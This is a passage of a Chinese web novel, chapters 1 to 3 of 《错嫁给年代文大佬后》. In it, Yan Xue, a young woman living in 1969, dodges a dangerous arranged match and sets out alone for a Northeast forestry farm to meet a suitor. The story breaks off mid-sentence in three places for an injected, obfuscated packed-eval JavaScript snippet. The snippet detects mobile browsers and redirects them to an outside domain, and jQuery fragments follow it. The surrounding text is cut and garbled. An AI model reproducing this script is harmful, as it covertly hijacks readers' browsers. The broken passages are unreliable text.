《错嫁给年代文大佬后》
1. 严雪
一月初,正是天气最冷的时候。
哪怕是相对暖和的关内,雪落了化,化了又落,依旧在地上积了一小层,薄薄覆盖住进村的土路。
严雪背着背筐从村口进来,已经有不少人家升起了炊烟。
她所在的严家庄不算大,全村上下只有不到二百户人家。村内并没有供销社,买东西、卖自家剩余的农副产品都得去附近村落五天一个的集。
今天赶集的大赵家有点远,一来一回要三十多里地,难免耽误了些时间。
严雪在大门外跺了跺鞋上的雪,刚进院,就看到一个身影猴一般从自家门里窜出来。
严家这处院子不算大,正房四间,住着严大伯一家八口和守寡的二奶奶。东边一间半厢房是严父结婚时另盖的,如今住着严雪和弟弟严继刚,因为小,到院门也就五六米的距离。
严大伯十一岁的三儿子严继宗手扒在门框上,还在嬉皮笑脸朝里喊:“你、你少学、学别人说话~我、我没学、学人说话啊~”
严雪不用想,都知道弟弟严继刚现在一定急得脸红脖子粗,偏偏越着急就越说不出一句流畅的话。
自从去年严父被山上的落石砸死,不小心看到了父亲血肉模糊的死状,九岁的严继刚就落下了口吃的毛病,晚上也整宿整宿做噩梦,时不时还伴有抽搐。
这种心理性口吃其实是有治愈可能的,但他们条件实在不允许。严继宗这些熊孩子也整天学着严继刚说话,把这个当好玩儿,弄得严继刚愈发不敢开口,甚至不敢出门。
果然里面传出磕磕绊绊的声音,“你、你这就、就是……”
“我、我、我就是!”严继宗继续学,已经忍不住笑成了一团。
严雪看着,几步上前,照着他后脑就是一巴掌,“作业写完了吗,就到处跑?”
力道着实不轻,拍出了‘啪’地一声脆响。
严继宗立即吃痛地捂住头,回头看到是她,差点蹦起来,“我就是和继刚开个玩笑,你打我干啥?”
“我就是和你开个玩笑,什么时候打你了?”
严雪脸上不见怒意,甚至笑盈盈的,把他的话又还给了他。
跟这种熊孩子讲不能拿别人的缺陷笑话人,会伤人自尊是没用的,人家父母都不管,说那只是小孩子之间闹着玩,还怪她小题大做。
她也懒得帮别人教育儿子,干脆看到一次也和对方开玩笑一次,看对方什么时候能长记性。
见人明显被噎了下,严雪甚至抬起手,“你要是觉得拍重了,我重新来一次,这回管保轻轻的。”
严继宗敢让她重来才有鬼,上次他信了,差点让她一巴掌拍到地里去。
他捂着脑袋就跑,“我又不是傻子。”
看来也不是一点记性都不长。
严雪这才迈进门,问站在里屋门口的弟弟:“继宗来找你玩的?”
不是她多此一问,严继宗闲不住,来过几次发现严继刚不爱出门更不爱说话,已经有阵子没太往这边跑了。
说这话时严雪语速缓慢,语气自然又松弛,好像只是随口一问。
这是她上辈子听人说的,松弛缓慢的语言环境能让患者放下紧张,有效改善说话困难。
说起来她穿越已经一年了,或许还更早。反正自从一年前撞破头,脑子里就多了另一段记忆,两段记忆不停在她脑袋里打架,弄得她病了得有小半年,到现在也没搞清楚自己算魂穿还是胎穿。
不过两段记忆差了近六十年,倒是有一点相似,都是刚刚没了爹。
只不过一个是亲父,一个是继父;一个丢下她孤身一人,一个还给她留了个同母异父的弟弟。
至于母亲,上辈子那个跑得早,她没太多印象;这辈子这个倒是疼孩子,无论沦落到何种境地都没有抛下她。可惜寿数不长,生下严继刚没几年就生病去世了,留下她一个改姓严的非严家人,有一半都是继父养大的。
所以严雪和这个弟弟,是真正的相依为命。她病得最重的那两个月,也是严继刚忍着恐慌在照顾她。
没了外人,严继刚果然没那么紧张了,学着她的样子放慢语速,“不是,他来……送东西,说是……大伯娘给的。”
虽然还是很艰难,但好歹没结巴。
顺着弟弟手指的方向,严雪看到了大地锅边的灶台上,四个金灿灿、装在粗瓷盘子里的豆面粑粑。
这可就稀奇了,尽管严父过世时,严雪才十七,和弟弟两个人的监护权都落在了严大伯一家。但不管是过日子,,还是还之前严雪看病借队里的钱,都是严雪自己在想办法,那边连粒米都没给他们送过。
何况严家庄这一片是出了名的地瓜线,因其土地深厚疏松,排水良好,特别适合种地瓜,70%以上的产粮都是地瓜。就连蒸个干粮,都要打地瓜酵子,将熟地瓜剥了皮揣在面引子里,发起来再掺上白面发第二遍。平时女人跟小孩根本就见不着其他粮食,干粮那都是给要下地的男人吃的。
豆面粑粑玉米面放得扎实,还掺了四分之一到三分之一的黄豆面,贴在锅边烙出来,上面松软下面酥脆,特别地香,大伯娘会舍得给他们送这个?
严雪第一个反应就是无事献殷勤,非奸即盗。
严继刚对自己大伯一家也显然早没了亲情滤镜,小脸上露出担忧,“他、他们又想想干嘛?”
这家人可是有前科的,当初严父意外身亡,责任追到了在山上用炸药采石的隔壁王家村。毕竟是一条人命,王家村多少给赔了点钱,严家大伯娘去拿的,回来连提都没跟姐弟俩提,全揣自己兜里了。
要不是因为这,严雪也不会跑去跟他们理论,然后撞到头,在炕上躺了小半年。
“没事,管她打什么主意,也得咱们愿意配合。“
两辈子加起来,严雪碰到的难事可太多了,也都熬了过来,倒是没那么忧心。
她解下背筐放在地上,“正好大赵家那边花生收得比咱这贵一分,一毛九一斤。我顺便在集上买了条咸鱼,明天泡一泡和萝卜一起煎上,就着这个饼子,也省的我再花工夫弄了。”
计划经济时期物资紧缺,能吃饱饭已属不易,咸鱼都成了好东西中的好东西。
一听说有好吃的,严继刚眼睛蹭地一亮。
不过很快,他又踌躇起来,“姐,咱还欠、欠队里多少钱?”
“欠钱就不吃饭了?”严雪摸摸他的头,“这一天走了好几十里路,我都要饿死了,你过来帮我生个火。”
到底是小孩子,严继刚的注意力立马被转移,应一声跑去生火,手里拉着风箱,嘴上还不忘关心她,“要不……姐你先吃……吃个饼子?”
“不差这一会了。”严雪收拾好背筐,又拿出今天才挣的钱开始算账。
严家庄不比隔壁王家村有采石场,全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563184|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指着地里吃饭,每年过了秋收,按工分给各家分粮。
家里工分挣得多,或是自留地有出息,余出来的就可以卖到收购站,换一点微薄的收入;要是家里孩子多,劳动力少,还要倒过来跟队里买粮,可能就要欠队里的钱了。
严雪去年有小半年都在养病,家里养了十来只鸡,才靠着卖鸡蛋勉强维持住了收支平衡,还钱根本不用想。这年代倒买倒卖还犯法,就算她敢顶着风险重操旧业,去海边批了鱼到各村卖,能赚的差价也很有限,完全是杯水车薪。
而且现在最棘手的还不是钱,是严继刚的心理问题。
去年他就没有去上学,学费都交好了,人却偷偷跑了回来,被她发现的时候脸都是白的。过完年他就要满十周岁了,总不能还不去上学吧?
就算她能在家里教他识字、算数,他难道还能躲在家里,一辈子不见人?
想着,严雪嚼饼子的动作就慢了下来。饭桌对面的严继刚见了,还以为她是不舍得吃完,低头看看自己的,把没咬过那边掰了递给她,“我吃不了。”
“我也吃不了。”严雪回过神,将饼子又推了回去。
她喝了口手边的白菜汤,沉吟着问弟弟:“继刚,如果咱们换个地方住,你敢试着出一下门吗?“
严继刚一顿,张张嘴想说什么又说不出来,只能低下头,满脸羞愧。
严雪就没再提,吃完饭将碗筷和地锅收拾好,回来严继刚已经把饭桌擦干净,拿出本子和铅笔放在桌上,等着她教认字。
当天夜里,严继刚再一次做了噩梦。
身边的人呼吸一变重,严雪就觉察到了,伸手隔着被子轻拍了拍,等人彻底醒来,又披上棉袄去地上倒了杯温水。
严继刚小声道谢,喝完又重新躺进被子,明明怕得要命,却闭着眼睛假装自己还可以睡着。
有那么一瞬间,严雪想到了自己前世的爸爸。
他临终前住院那段时间也是这样,明明被病痛折磨得彻夜难眠,却怕吵到她,僵着身体连个身都不敢翻。
也不知道是不是老天看她就剩自己了,才把她踹回了这六十年代,又给了她一个血脉相连的亲人。
总不能是因为她被隔壁陪床的小姑娘拉着看了本小说吧?
那本小说里虽然也有个角色叫严雪,可人家运气比她好,不仅会投胎,找个丈夫也是研究所的高级工程师。
唯一不走运的是动乱刚开始那几年退了门娃娃亲,而对方仿佛拿了退婚流剧本,都没用三十年河东,三十年河西,二十年就回来报复她了。而她那个高级工程师丈夫不但没能保护她,还和对方仇怨更深,先她一步身败名裂,端上了糊纸盒的铁饭碗……
这么一想,没有赶时髦穿个书也还挺好的。
感觉身边的呼吸渐渐平稳,严雪重新睡下,第二天早上数数日历上的日子,背上背筐出去了一趟。
回来的时候严继刚已经把鸡喂了,屋里屋外扫得干干净净,还在鼓着没什么肉的小脸仔细擦拭大地锅的木头锅盖,像个勤劳的拇指姑娘。
只要别出门,只要别和人说话,他在自家这方寸大的小土房还是挺自在的。
严雪有些无奈,去屋后的自留地挖了根萝卜。买来的咸鱼她昨天晚上就泡上了,现在正好泡开,切一切就能下锅。
正准备下油升灶,堂屋门一响,大伯娘白秀珍裹着寒风走了进来。
2. 对象
“做饭呢?昨天送来那饼子你跟继刚吃了没?”
白秀珍进门就问。
所谓拿人手短,吃人嘴软。她先提这个,哪怕之前两家闹得不太愉快,严雪也不好给她甩脸色,接下来的话自然就好说了。
严雪果然没给她甩脸色,笑盈盈去开了碗柜,“还剩俩,大娘您家要是不够吃就拿回去,我这还有地瓜。”
白秀珍准备好的说辞当时就卡在了嗓子眼,情绪都不连贯了,“我不是这个意思。”
明明她是施以恩惠的那个,叫严雪这么一说,倒好像她多抠门,东西送出去了还要来讨回来。
严雪本来也没想真还,顺势就又放了回去,“那您是有什么事?”
几句话的工夫,白秀珍进门时那种高高在上已经有些维系不住,又顿了顿才组织好语言,“这不前两天翻日历,发现你就快满十八了吗?我像你这么大,你大哥都能满地爬了,你这该抓紧也得赶紧抓点紧。”
原来是为这个,严雪不能说早有所料,但的确往这个方向猜测过。
严继刚本来躲在里屋,闻言也忍不住探出半边头。
白秀珍没在意,还在那拉着严雪说话,“是个挺不错的小伙子,长得特别好,你见了保准能相中。关键是家里也通情达理,听说你还有个弟弟,让你把继刚也一块带去,这样的人家可不好找。”
父母双亡,还带个拖油瓶弟弟,一结婚就等于直接当爹,这样的姑娘的确不好嫁。
何况父母双亡,往深里想是相克的八字。虽说破四旧已经轰轰烈烈搞了好多年,可农村人特别在意这个,谁知道她还会不会克别人。
严雪低了头,脸上露出些为难,声音也小了下去,“大娘,我这还戴着孝呢。”
“都新社会了,谁还讲究这啊?再说你不是满一年了吗?真等三年,不得等成个老姑娘,到时候黄花菜都凉了。”
白秀珍不以为意,“我这也是看你一个人带着继刚,日子过得难。找个男人,好歹家里有个主心骨,比你这样啥都自己扛强。你这两天就别往外跑了,找个时间先去相对象,成就趁着年底赶紧把事办了。”
连啥时候结婚都安排好了,倒比严雪这个独自带着弟弟,又要养家又要还债的还要急。
严雪就没再说什么,只将头垂得更低,“再等等吧,我……我这还没满十八呢。”
白秀珍见她没有反对的意思,只当她是害羞,“也行,不差这几天了。你好好想想,早点找婆家,你也能早轻快轻快不是?我就不耽误你做饭了。”
人一走,严继刚立马从里屋出来,跑过来拉住了严雪的衣角。
小少年仰着脸,清澈的眼睛里有担忧,也有关切,可却抿抿唇什么都没说。
严雪捏了把他的小脸,“又不是给你找媳妇,你着什么急?”
严继刚脸立马红了。
严雪就拖着这么个大尾巴,回到锅边继续做饭,“大伯娘介绍这个人,估计长得不错。”
严继刚眨了一下眼,似乎不明白她为什么说这个。
严雪慢悠悠讲给他听,“人想把一样东西推销出去的时候,会不停突出甚至放大这样东西的优点,对缺点避而不谈。大伯娘一直叫我见人,肯定是有自信见了之后我能看上,不然她不是白忙活了。”
严继刚虽然不敢出门,学也没有上过,但先丧母后丧父,其实比同龄孩子更加早熟。
严雪说给他听,他脸上果然露出思索,“那……其他的……”
“大伯娘既然没提,肯定有不如人意的地方,就看是哪些方面不如人意了。”
严雪一直是个很现实的人,上辈子那些经历也由不得她不现实,“人这一辈子,不如意的是大多数,知道自己最想要什么就好了。抓住自己最想要的,不重要那些该舍就舍,也只能舍。”
这回严继刚沉默了更久,也不知道有没有听懂。
好半天,他才问姐姐:“你这是……要去见?”
“条件合适的话,见见也无妨。”严雪一笑,抬头朝正屋西边看了眼,“不过在那之前,还得先打听打听。”
所以她才以自己未成年为由,给自己争取了几天时间。
严继刚这种情况,最好是换个生活环境,能让他放松下来,不再想起那些噩梦,也不再有人整天学着他说话。
在这个时代,女性一直不结婚也不现实。倒不是养不起家,是独身女性身边没个男人,总免不了被人惦记,尤其是生活在农村的独身女性。
当初她生父过世,她妈一个人带着她,就差点让人摸进来,那个人还是她的亲三叔……
事涉自己儿子,她那对爷奶肯定不能帮她妈做主,甚至指责是她妈耐不住,勾引了自己儿子。不然她妈也不会毅然决然带着她改嫁到了这么远的地方,还连她的姓都改了,彻底跟原来的家庭断了关系。
如果严雪穿的是五十年代,或者改革开放以后,就去城里看看能不能找到机会了。
可现在是1969年,城里人都得下乡做知青。不通过嫁人这种方式,她连这个村子都没法离开。
严雪把炒好的菜盛出来,对严继刚说:“你先吃,我去给咱二/奶奶送点。”去碗柜又拿了个碗。
没想到严继刚进屋把盘子放好,又赶紧跑出来,要跟她一起去。
冬天天冷,关里这边北边的窗户多数是用黄泥做的砖坯堵起来的,为的是挡风,只留南边的窗户采光。
姐弟俩趁着大伯一家正吃饭,从屋后绕到了正房的西间,抬手敲了三下窗,不多会儿,里面便响起了拔插销的声音。
严家这位二老太太年少守寡,才二十来岁丈夫就没了,两个孩子也相继早夭,一直跟着大伯哥也就是严继刚爷爷一家过日子。
那时村里都传她方儿子方汉子,她自己心里也存了忌讳,一直没有再嫁,只象征性过了大伯哥家二儿子也就是严雪的继父严柏山当嗣子。
但其实就是走个形式,省的她过继了别人,房子和地都落到别人手里,严柏山根本没和这位过房妈一起生活过,而是继续养在父母膝下。老太太似乎也不在意,在严家不言不语,不闻不问,活得像一个隐形人。
以前严雪没注意,多了一段人生后再回头看与这位过房奶奶的几次接触,发现对方绝对是个洞若观火的明白人。
“奶奶您吃饭了吗?我刚做了咸鱼炖萝卜。”她把碗从敞开的窗缝递进去。
油放得不多,但切成段的咸鱼还是被煎得微微泛黄,配上色子那么大的萝卜块,看着就让人有食欲。
二老太太说话一向慢悠悠的,“做了就自己吃,往我这送什么?”
“这些年我跟继刚的衣裳和鞋,您也没少帮着做啊。要不就我那针线活,我们都得光着。”
严雪长了张线条柔和的脸,一笑起来眼睛弯弯的,特别讨人喜欢,小嘴巴也会说话。二老太太那张过早苍老的脸上眼见着有了笑意,“瞎说啥呢?”
又低声问:“你大伯娘刚往你那边去了吧?”
“就知道瞒不过您。”严雪并不觉得意外。
二老太太也没有要拐弯抹角的意思,“这几天你不在家,你大伯娘那个嫁在垛崮村的远房妹子来过两趟。”
都不用再多说,严雪就懂了。
垛崮,顾名思义,垛起来的石头。
那边可是十里八乡有名的贫困村,土地薄,地里不出息,山上的石头也不成才,年年都完不成国家给定的任务。别说外地姑娘不愿意嫁,本村姑娘都跑光了,全村不到一百户人家,就有三十多个光棍。
如果是因为穷,愿意让她把弟弟带上,的确说得过去。
没想到二老太太又看了严继刚一眼,明显还有话说。
严雪立马捂上了弟弟的耳朵。
二老太太声音压得更低,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563185|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“她说那户人家我知道,家里一共五个儿子。前些年老大说了媳妇,三天回门,就再没从娘家回来。”
才过了三天就不过了,是男方打老婆还是……
严雪刚在脑子里转过,就听二老太太若有所指道:“有人看到他们家老二后背全是血道道。”
老大结婚,老二后背全是血道道……
这严雪都忍不住要抽气了,难怪不让严继刚听,“她们给我介绍的不会就是这个老大吧?”
“那倒没有,他们给你介绍的是老三。前些年没的吃,老大跟人去岛上赶海,回来的时候船沉了。”
这个事在当地很出名,严雪那时候年纪还小,依然有所耳闻。听说是回来的时候船漏水,开船的让把桶里的东西倒倒,船上人饿怕了,没一个舍得,最后二十多个人全淹死了,最多的一家没了俩。
可就算不是老大,老三也很危险好吗?
总不能拿自己的下半辈子赌人家只对嫂子感兴趣吧?
听说这位老二至今还没有结婚,下面还有两个刚刚成年的弟弟……
回去的路上,严继刚一直拿眼瞧严雪,一副想问又不知道能不能问的样子。
严雪上辈子没少在网上吃瓜,依旧觉得很炸裂,一时没顾上理会。直到吃饭时严继刚仍然心不在焉的,她才组织了下语言,问弟弟:“你想不想要四个姐夫?”
“四个?”严继刚差点噎着,反应过来立马摇头。
“我也不想,所以咱们还是另想办法吧。”
于是等白秀珍算着日子,过来问严雪准备得怎么样了,严雪再一次找了借口拖延时间。
白秀珍有些不悦,回去把这事和严大伯严松山说了,“当自己是啥千金大小姐呢,给她介绍个对象还拿三拿四的。”
严松山眉头也皱了起来,“她不会是知道了吧?”
这白秀珍倒是不担心,“她能知道个啥?谁闲着没事跟个十几岁的小妮子说这些?再说那都是没影的事,外面瞎传的。”
话是这么说没错,可严松山始终觉得不放心。
自从柏山没了,严雪那妮子就总给他一种不太对的感觉,具体哪里不对,他又说不出来。
“还是得再加一层保险。”严松山眉头始终没有舒展,“那妮子不是还欠着生产队的钱吗?不行你跟他们家说说,让他们先给还了。”
有了债务关系,这个对象相不相,嫁不嫁,可就由不得她了。
“让他们还?那他们之前跟我说的……”白秀珍欲言又止。
他们钱够不够,关他们什么事?
严松山瞥了妻子一眼,“实在不行就算了,又不是非他们不可。”
并不是很执着促成这件事的样子,甚至转移话题说起了别的,“继祖跟他那个对象,处了得有小半年了吧?”
提到大儿子,白秀珍又挂起脸,“可不是,这要不是咱家没地方,年底就能把婚结了。”
严家院子小,孩子又多,根本腾不出地方给儿子结婚,还得想法子另盖,又麻烦又费钱。
何况他们又不止这一个儿子,后面还有三个等着呢,都花完了老二老三怎么办?
这么一想,白秀珍更想快点把严雪那姐弟俩弄走了,“我还是去跟他们家说说,既然要娶媳妇,也不差这点钱。”包了围巾往外面走。
刚出正屋,迎面就看到一个小毛驴哒哒哒停在了院门外。
驴上的人白秀珍认识,是严雪她妈的亲堂姑,就嫁在十里地外的单家村。当初严雪她妈嫁到严家,就是她介绍的。
不过这人虽然只比严雪她妈大十岁,却是裹了小脚的,走远路并不方便,平时都是人往她那边去,很少见她往严家这边来。
正纳闷,小脚老太已经从驴上下来,还笑眯眯和她打了个招呼。
“她大娘也在家啊?正好,我给小雪介绍了个对象,你也帮着参谋参谋。”
3. 相亲
一听到给严雪介绍对象,白秀珍眼皮便是一跳。
然而不等她反应,严雪这位姑姥姥已经一拐一拐去正房叫了严松山,又去西边叫了二老太太。
六个人往严雪那屋一挤,立马显得这农村的小土房有些逼仄。严松山还好,维持着脸上温和的微笑,白秀珍脸已经拉下来了。
姑姥姥也没废话,直接拿出一小沓大团结放在炕上,“这是一百块钱,男方给的彩礼。”
不等人张口,又补充,“提前预支的,要是相不中,这钱还得还回去。要是相中了,衣裳、被褥、家什,人家全另给。”
白秀珍就把嘴闭了回去。
她实在说不出这彩礼给得少,村里有些人家结婚,还给不上这些呢。
只是到底心里不痛快,忍不住说了句:“干啥的能拿出来这么些钱?不会有啥毛病吧?”
“我又不是那黑心亲戚,指着卖孩子换好处。”
老太太看她一眼,转头跟严雪介绍:“人是我一个老姐妹的外孙子,早些年跟着家里去了东北,现在在林场当工人。他姥他姥爷他爸他妈我都熟,一家子老实人,能干,还会过日子,长得也不错,一米八大个。”
当工人,那难怪出手就是一百块,哪像他们农村,一年到头也见不着几个子儿。
白秀珍开始有些牙酸了,:“怎么找了个东北的?我听说那边都是吃不上饭跑过去的,特没规程,女人也让上桌。”
以前的人都恋乡,如果不是生活不下去了,的确不会背井离乡。
可姑姥姥大闺女单秋芳也嫁在东北,回来后还按着那边养成的习惯上桌吃饭,被人看到,笑话了好一阵。
老太太没说话,掀起眼皮又看了白秀珍一眼。
严松山蹙蹙眉,似乎也觉得妻子不会说话,更别提严雪了。
有些事无论经历多少次,她都无法适应,更无法认同,还好她穿越前那会儿早没了这些破规矩。
一片让人尴尬的沉默中,还是姑姥姥率先开的口,“继刚的事,我也跟那边说了。”
她实在懒得跟对方计较,白秀珍这人说好听点是性子直,难听点就是没心眼。恶人都让她做了,也没见好处都落她兜里,反倒让别人躲在后面装了好人。
见一直老实旁听的严继刚抬起头,脸露不安,老太太给了他一个安抚的微笑,“你放心,那边没说啥,不然也不能把彩礼寄过来。”
这下白秀珍是真的没话说了。
条件差得太多,她要是再提起自己介绍那个,哪怕没那事,也有点像在侮辱人。
她不禁把视线挪向那叠大团结,这位姑姥姥却比她更快,已经拿起来塞进了严雪手里,“他们林场冬天忙,请不下来假,你要觉得合适,就过去看看。正好你秋芳姨也在那边,一个镇的,我叫她陪你过去。”
单秋芳,就是姑姥姥家大闺女。
这事眼瞅着要定下,严松山终于开口了,“听着条件是不错,我和她大娘也觉得好,就是太远了,有个什么家里也帮不上。”
想起姑姥姥家闺女也在那边,这理由怕是不够,他接着又道:“再说小雪还没出孝,也不知道那边能不能等两年。”
“是啊。”白秀珍赶忙也跟着附和,不管怎样,先把这事搅黄了再说。
话刚落,严雪就诧异地看了过来,“前几天大娘来给我介绍对象,不还说现在不讲究那些,满一年就行吗?”
当时姑姥姥和二老太太就全看向了白秀珍,意味深长地,看得人浑身不自在。
白秀珍实在挂不住脸,腾地站起身走了。
严松山倒还顾着面子,解释了句:“秀珍有事,刚才就准备出门。”才找了个借口告辞,一出去脸也沉了。
他们到底不是严雪的父母,牛不喝水还能强按头。
只不过他们这边刚有动作,那妮子姑姥姥就来给她说亲,这未免也太巧了……
严雪屋里,严松山两口子一走,一直没有做声的二老太太也抬眼看向严雪,“人是你去找的吧?”
严雪还没说话,一直坐在她旁边听着的严继刚先露出错愕。
他之前还在担心,没想到事情突然有了转机,松一口气的同时,人还有些没反应过来。
炕对面的姑姥姥闻言却笑了,那态度虽然什么都没说,但绝对是默认。
二老太太眼里就也有了笑意,“就知道你没那么好摆弄。”
“我也是有备无患,正好我本来也想换一个地方。”严雪笑着给两位长辈倒上热水。
不只是严松山两口子在等她成年,她也在等自己成年。
所以一发现白秀珍无事献殷勤,表现不对,她立马去了趟单家村,争取把主动权握在自己手里。
严雪挨上了自家姑姥姥,“那个人到底怎么样啊?”
“小姑娘家家也不害臊。”姑姥姥嘴上嗔着,人却从随身带来的布口袋里摸出张照片,“时间太赶,最近的照片我也没弄着,这是他小时候的,你瞅瞅。”
是张全家福,严雪逡巡半天,才顺着老太太的手指看到个六七岁的小男孩。
因为照片上面人多,又是黑白的,脸也看得不是很清楚,只依稀辨认出五官端正,眼睛不小。
“人你秋芳姨前几年还见过,挺精神一小伙。他家也没什么负担,父母六零年没的吃的时候就没了,没有兄弟姐妹,人后来跟着姑姑姑父长大,但毕竟隔了一层,你要真嫁过去,也管不到你们头上。”
那难怪不在意她父母双亡,还愿意让她带着弟弟。
没人管,没负担,有正式工作,人长得还不错……
以严雪现在的情况,就算拖下去,也未必能找到比这更好的,她当机立断,“那就他了,过两天我就出发。”
送走姑姥姥,二老太太倒是没急着离开,而是站在门槛里,见严雪回来,又重新坐回了炕上,“这次去东北,继刚就先别跟着去了。”
严雪进门的脚步一顿,严继刚更是猛地抬起脸,眼露惶恐。
二老太太赶忙拍拍他,“是叫你晚点去,又不是不叫你去,怎么也得让你姐姐先站稳脚跟吧?”
对于严雪到了陌生地方,能不能把日子过好,二老太太倒不担心。
看她怎么处理这件事就知道了,一面稳住严松山两口子,一面找了姑姥姥另给自己介绍对象,不慌不乱,稳得完全不像个才满十八的姑娘。
但再有本事,直接带着弟弟嫁过去,也会让她在一开始就矮了人一头,很难挺得直腰杆。
二老太太显然是经过深思熟虑的,“小雪先去,等在那边站住脚了,或是有孩子了,再接继刚过去也来得及。至于继刚,你也不用担心,不是还有我吗?奶奶别的不行,摸鸡蛋的本事还是有的,怎么也饿不着你。”
她会摸鸡蛋孵小鸡是出了名的,每年都能靠卖小鸡仔赚些钱,要是只等着别人养活,早不知道受多少白眼了。
但二老太太这人向来低调,以前并不怎么和他们往来。后来严柏山过世,倒是对姐弟俩多有关照,也都是偷偷的,何曾把这么大的责任往自己身上揽过?
严雪下意识便要拒绝,“奶奶……”
二老太太像是知道她在顾虑什么,“继刚可是我的孙子,有出继单,有村里人作证。旁人就算想管,也得先看我乐不乐意。当初分家,我也是分了家当的,有两间房,还有一口箱子。”
说这话时眼神很沉,完全不像平时那个不问世事,隐形人一样的寡居老太太。
严雪还想说什么,严继刚松开了一直紧握成拳的手,“姐,你还、还是让我留、留下吧,我不怕。”
小少年仰头望着她,脸上虽还有不安,眼神却是坚定的,“等你站、站住脚了,再来接、接我过去。”
想想他的口吃,他的不敢出门,再想想他故作坚强的懂事……
严雪咬咬牙,“最多半年。”
不舍解决不了任何问题,她只给自己半年时间,在那边站住脚,至少也得找到条来钱的路子,总不能指望别人帮她养弟弟。
严雪离开那天,严松山一家都没有来送,几个小的虽然探了头,很快又被爹妈叫了回去。
两口子实在憋气,本来还以为婚事不成,好歹人走了,房子能给他们腾出来,没想到严雪竟然把严继刚留下了。
这妮子不是最在意这个弟弟吗?
总不能之前都是装的,一找着好前程,就立马急着把包袱甩了吧?
不过他们来不来送,也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563186|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人在意。严雪有二老太太送到院门口,有亲弟弟送到村子外。
眼见越走越远,帮她扛着包袱的小少年却没有要停下的意思,严雪终于站住了脚。
不用她开口,严继刚也能明白她的意思,抿抿唇,最后还是没忍住,“姐,你、你会回、回来的吧?”
“最多半年。”严雪摘下了自己的手套。
严继刚同样摘掉手套和她拉钩,拉完不等她说什么,包袱一塞转身便跑,跑出很远又偷偷回头看她。
隔太远严雪看不清他的表情,却能看到他转过去之后,拿手背抹了一下脸……
三天后,老式绿皮火车停在了长白山脚下一个被雪覆盖的小镇。
听乘务员报澄水站到了,严雪裹好围巾拿好行李,刚出站,就看到有人举着个纸壳做的牌子,上面写着“严雪”两个字。
她走过去,“是秋芳姨吗?”
包裹严实的女人跺着脚点头,上下一打量,“你是小雪?”
严雪说是,对方立马把纸壳一折,夹在胳肢窝下,伸手来接她拎着的行李,“几年没见,都长成大姑娘了,你不说,我都没敢认。”
又问她:“东北冷吧?我刚来那会儿不知道厉害,耳朵、手都生了冻疮,拿冻清煮水泡了好几年才好。”
显然这是个健谈的,严雪也就跟着她往外走,“还好,姑姥姥特地嘱咐过这边冬天冷,让奶奶帮我把棉衣改了。”
“你姑姥姥就是能操心,自从我说这边冷,年年写信都要问。”
单秋芳笑,严雪眉眼也弯弯的,“姑姥姥是关心你,她这次还让我捎了不少地瓜干,给你跟孩子吃的。”
“这么远还让你背东西,也不嫌乎沉。”单秋芳嘴上抱怨,眼里笑意却更深了。
她带着严雪挤出人群,“先去我那吧,我给你做好吃的。等明天歇好了,再去林场。”
“还是先去林场吧,早见完也能早放心,我奶奶和我弟弟还在家里等消息呢。”
到底是远房亲戚,还许多年未见了,严雪并不想打扰人家。何况这年代房子都挤,城里粮食还是按人口供应的,别说招待客人了,有时候自家都不够吃。
她甚至没想让单秋芳陪着她去,还是单秋芳见实在劝不住,找了个熟人让去自家说一声,坚持穿越大半个澄水,把她带到了森铁车站,“去林场得坐小火车,那边偏,有些地方还没修路,客车开不进去。”
实在没忍住又问:“真不先上我那儿去?”
“我要是真在这落户了,还愁以后没机会?”严雪笑,“到时候一定带着谢媒礼去谢你。”
“你能过好就行,我还贪你那点谢媒礼。“
森铁火车站不大,只有一排小平房。两人进去的时候刚好有一趟小火车要发车,单秋芳找人一问,立马拉着严雪往里跑。
“就是这趟,现买票不跟趟了,上了车再补。”
她把严雪推上去,自己刚要上,后面有人喊:“秋芳姨!秋芳姨在这吗?”
单秋芳脚都踏上了铁梯,下意识回头,“谁找我?”
一个十二三岁的小姑娘迅速滑过来,鞋上套着的自制冰鞋都没解,就跳上了台阶,直喘,“你、你家大强掉冰窟窿里了,我妈让我过来跟你说一声……”
话还没说完,单秋芳瞬间变色,“大强掉冰窟窿里了?救上来了没有?”
这可是三九天,零下二三十的温度,搞不好要冻死人的。
小姑娘虽然着急,口齿却还算清晰,“救上来了,当时老多人都在附近溜冰……”
“我这就回去。”单秋芳跳下铁梯便跑,人都跑出去六七米了,想到什么又匆匆回头,“我家里有事,小雪你先自己去。人叫齐放,在金川林场,你去一打听就能找着。”
“我也去看看。”
严雪听得清楚,赶忙拎起刚刚放下的行李,才转身,火车已经晃悠悠开动。
随着乘务员“砰”一声关上门,那一大一小两道身影也迅速消失不见了。
